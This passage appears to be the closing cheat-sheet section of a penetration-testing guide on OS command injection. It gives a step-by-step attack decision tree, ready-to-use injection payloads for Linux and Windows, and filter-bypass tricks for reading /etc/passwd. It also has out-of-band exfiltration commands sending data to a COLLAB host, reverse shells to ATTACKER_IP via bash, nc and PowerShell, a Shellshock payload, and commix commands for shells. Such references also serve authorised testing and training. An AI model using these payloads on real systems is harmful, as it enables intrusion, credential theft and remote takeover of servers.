└── IDS/SIEM rules for common CI payloads (;id, ;whoami, sleep)

14. Master Cheat Sheet

Attack Decision Tree

Found a user-controlled parameter processed by the server?
│
├── Does response reflect command output?
│   └── YES → In-band injection
│       ├── Try: ; id
│       ├── Try all operators: | && || $() `cmd`
│       └── Extract: /etc/passwd, env, SSH keys
│
├── No output, but response time varies?
│   └── Blind time-based
│       ├── Confirm: ; sleep 5 (measure delay)
│       ├── Extract char-by-char with if/sleep
│       └── Script: python extractor
│
├── No output, no measurable delay?
│   └── Try OOB
│       ├── ; curl http://COLLAB/$(id|base64)
│       ├── ; nslookup $(whoami).COLLAB
│       └── Check Burp Collaborator / interactsh for callbacks
│
├── All direct injection fails?
│   ├── Try filter bypass:
│   │   ├── Space: ${IFS}, %09, {cmd,arg}
│   │   ├── Keywords: 'c'at, c\at, tac, awk
│   │   ├── Encoding: %0A, %3B, hex printf
│   │   └── Operators: try every separator variant
│   └── Consider second-order: is input stored and later executed?
│
└── Confirmed RCE? → Escalate
    ├── Upload reverse shell or use bash /dev/tcp
    ├── Upgrade to interactive TTY (python pty)
    └── Post-exploitation: enum, creds, pivot

Quick Payload Reference

# ── Basic Confirm (Linux) ──
; id
| id
&& id
|| id
$(id)
`id`
%0Aid                         # newline separator

# ── Basic Confirm (Windows) ──
& whoami
| whoami
&& whoami

# ── Blind Time-Based (Linux) ──
; sleep 5
| sleep 5
$(sleep 5)
%0Asleep%205

# ── Blind Time-Based (Windows) ──
& ping -n 6 127.0.0.1
& timeout /t 5

# ── OOB (Linux) ──
; curl http://COLLAB/$(id | base64 -w0)
; nslookup $(whoami).COLLAB
; wget -q http://COLLAB/?x=$(cat /etc/passwd | base64 -w0)

# ── OOB (Windows) ──
& nslookup %USERNAME%.COLLAB
& powershell -c "Invoke-WebRequest http://COLLAB/$(whoami)"

# ── Space Bypass ──
cat${IFS}/etc/passwd
{cat,/etc/passwd}
cat</etc/passwd

# ── Keyword Bypass ──
c'at' /etc/passwd             # quotes bypass keyword filter
c\at /etc/passwd              # backslash
tac /etc/passwd               # alternative to cat

# ── Reverse Shell (Linux) ──
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc ATTACKER_IP 4444>/tmp/f

# ── Reverse Shell (Windows) ──
powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);..."

# ── Shellshock ──
() { :; }; /bin/bash -c 'id'

commix Quick Reference

commix --url="URL?param=val"                     # basic GET scan
commix --url="URL" --data="param=val"            # POST
commix -r request.txt                            # from Burp file
commix --url="URL" --os-shell                    # interactive shell
commix --url="URL" --reverse-tcp --ip=IP --port=4444  # reverse shell
commix --url="URL" --technique=timebased         # force blind time
commix --url="URL" --tamper=space2ifs --batch    # bypass + no prompts

Useful Wordlists (SecLists)

/usr/share/seclists/Fuzzing/command-injection-commix.txt
/usr/share/seclists/Fuzzing/UnixAttacks.fuzzdb.txt
/usr/share/seclists/Fuzzing/Windows-Attacks.fuzzdb.txt
/usr/share/seclists/Payloads/OSCI-Payloads.txt

# Burp Intruder → Fuzzing → OS command injection

← Web top ↑